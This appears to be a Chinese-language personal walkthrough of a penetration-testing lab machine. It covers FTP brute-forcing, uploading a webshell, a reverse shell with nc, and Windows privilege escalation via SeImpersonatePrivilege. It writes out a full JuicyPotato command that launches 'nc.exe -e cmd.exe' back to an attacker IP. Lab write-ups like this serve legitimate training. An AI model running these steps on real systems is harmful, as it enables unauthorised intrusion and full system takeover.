先看看242端口



访问发现basic认证

尝试弱口令 发现不行

看看21 ftp端口

nmap 所能够匿名访问



发现了很多文件 但是好像都下载不了

好像没啥突破口

卡了好久

只好看wp了 原来ftp需要爆破



爆破完后发现admin ： admin 账号 这次我们再登录进去看看

里面有三个文件 我们下载下来 全看了一遍



看样子一个 是basic 验证的用户名和密码

另一个是index.php 默认页面

值得注意的是我们可以看到 在.htaccess里面允许我们用put方法

也就是说当我们通过basic验证后就能用put方法上传webshell了

先爆破出basic 的用户名密码



我们成功登录了

用OPTIONS 看看对方支持什么方法 ， 但是好像不能用put

那我们就看看利用这个用户和密码能否通过 3389登录吧

rdesktop -u offsec 192.168.226.46

发现也不行

然后我忽然想到

为啥不直接通过ftp上传文件呢

我发现ftp 是能上传的 我上传了一个webshell



是成功的

尝试反弹shell

先下载我们的nc

然后反弹 成功

接下来进入提权环节

whoami /priv 发现SeImpersonatePrivilege 权限

可以直接用potato 来提权了

我们有jucypotato试试



发现架构不对 应该用x86的jucypotato

换成x86的试试



发现可以运行了

那么接下来我们就用他来提权了

看wp

.\Juicy.Potato.x86.exe -l 1360 -p c:\windows\system32\cmd.exe -a "/c C:\wamp\www\nc.exe -e cmd.exe 192.168.45.250 8080" -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}

{9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 这是clsid 是一个COM对象的唯一标识符 具体有啥用我也不太清楚

要在这里找https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2008_R2_Enterprise

因为有很多个com 对应的clsid 所以我们要一个一个找 我直接没找了 看wp的

提权成功
